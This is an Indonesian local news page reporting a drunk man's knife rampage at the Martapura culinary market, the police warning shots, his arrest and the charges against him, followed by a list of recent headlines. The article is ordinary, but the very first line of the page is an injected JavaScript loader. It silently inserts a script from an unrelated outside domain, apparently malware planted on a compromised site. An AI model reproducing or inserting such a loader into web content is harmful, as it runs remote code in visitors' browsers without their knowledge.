(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: KRIMINAL BANJAR

Ngamuk di Pasar Kuliner Martapura, HR Ancam Pengunjung Pakai Sajam


KANALKALKMANTAN.COM, MARTAPURA – Mengamuk pecahkan kaca milik pedagang di pasar kuliner Martapura, MR (28) diamankan polisi. Amukan seorang pria tersebut terjadi di pasar kuliner Martapura, Senin (21/12/2020) pukul 23:00 Wita.

Diketahui pelaku MR (28) adalah warga Tanjung Rema, Kecamatan Martapura, Kabupaten Banjar.

Hal tersebut dibenarkan, salah satu anggota Tekap Banjar Unit Resmob Polres Banjar Aipda Harry Dwiyanto.

“Kami mendapatkan laporan dari warga ada seseorang mengamuk di pasar kuliner dengan membawa sebilah senjata tajam yang membahayakan masyarakat,” ucap Aipda Harry kepada Kanalkalimantan.com, Rabu (23/12/2020) pagi.

 

Belakangan pelaku diketahui dalam pengaruh minuman keras itu, mengamuk membuat resah pengunjung yang hendak berbelanja.

“Pelaku juga sempat memukul kepala pengunjung dan menodongkan sajam jenis badik kepada seorang perempuan dan laki-laki di kepala,” beber Aipda Harry.

Ia juga mengatakan, ketika polisi datang ke TKP, pelaku masih saja menyimpan sajamnya, malah mengeluarkan sajamnya kepada petugas.

Tidak ingin terjadi sesuatu yang tidak diinginakan, polisi langsung memberikan tembakan peringatan ke udara, namun pelaku malah melarikan diri.

“Tembakan peringatan pertama, sudah kita berikan, dia malah lari. Kita berikan lagi tembakankan peringatan yang kedua, pelaku tambah terus lari,” ujar Aipda Harry atau yang akrab disapa Harry Boy ini.

HR yang mencoba lari dalam keadaakn mabuk, sempat terjatuh ke tanah sebanyak tiga kali. Sebelum berhasil diamankan oleh polisi.

Akibat ulah pelaku memukul kaca milik pegadang pasar hingga pecah, pelaku mengalami pendarahan yang cukup parah di bagian lengan kiri.

“Tangan pelaku ini luka, akibat terkena pecahan kaca milik pedagang yang dipecahkannya sebelum kami sampai ke TKP,” jelasnya.

Pelaku yang sudah kehabisan banyak darah, langsung di larikan oleh Polisi ke Rumah Sakit Umum Daerah (RSUD) Ratu Zalecha guna mendapat perawatan medis.

Sementara itu, Kapolsek Martapura Kota AKP Suroto mengatakan, pelaku sesudah dibawa ke rumah sakit, pelaku langsung dibawa ke Mapolsek Martapura Kota guna mempertanggungjawabkan perbuatannya.

“Pelaku kita jerat dengan Undang-Undang darurat Nomor 12 tahun 1951 dengan ancaman 10 tahun penjara. Pelaku sudah di ruang tahanan Polsek Martapura Kota,” tutupnya. (kanalkalimantan.com/wahyu)

Reporter : Wahyu
Editor : Bie

 


Al Ghifari

Recent Posts

Bupati Saidi Mansyur dan Jajaran Pemkab Banjar Peringati Maulid Nabi Muhammad SAW

KANALKALIMANTAN.COM, MARTAPURA - Suasana khidmat mewarnai peringatan Maulid Nabi Muhammad SAW yang digelar Pemkab Banjar… Read More

5 jam ago

Relawan Muhidin-Hasnur ‘Panaskan Mesin’, Sepakat Tidak Lakukan Kampanye Hitam

KANALKALIMANTAN.COM, BANJARMASIN - Menjelang penetapan calon gubernur dan wakil gubernur relawan Muhidin-Hasnur dari 13 kabupaten… Read More

7 jam ago

Kabar Alih Fungsi Minggu Raya, Ini Respon Wali Kota Aditya

KANALKALIMANTAN.COM, BANJARBARU - Kabar Minggu Raya –kawasan kuliner- di jantung Ibu Kota Provinsi Kalimantan Selatan… Read More

8 jam ago

Menjaga Tradisi Banjar Baayun Maulid di Masjid Tertua Kalsel

KANALKALIMANTAN.COM, BANJARMASIN - Syair-syair maulid sebagai pujian kepada Nabi Muhammad SAW menggema di Masjid Sultan… Read More

8 jam ago

PAFI PC Sorong: Mitra Setia dalam Pengembangan Profesi Farmasi

KANALKALIMANTAN.COM - Kamu mungkin sudah tahu bahwa profesi farmasi adalah salah satu pilar penting dalam dunia… Read More

16 jam ago

Nurgita Tiyas Sapa Pedagang di Pasar Terapung Lokbaintan

KANALKALIMANTAN.COM, MARTAPURA - Suasana di Pasar Terapung Lokbaintan, Kecamatan Sungaitabuk, Kabupaten Banjar pada Minggu (15/9/2024)… Read More

1 hari ago

This website uses cookies.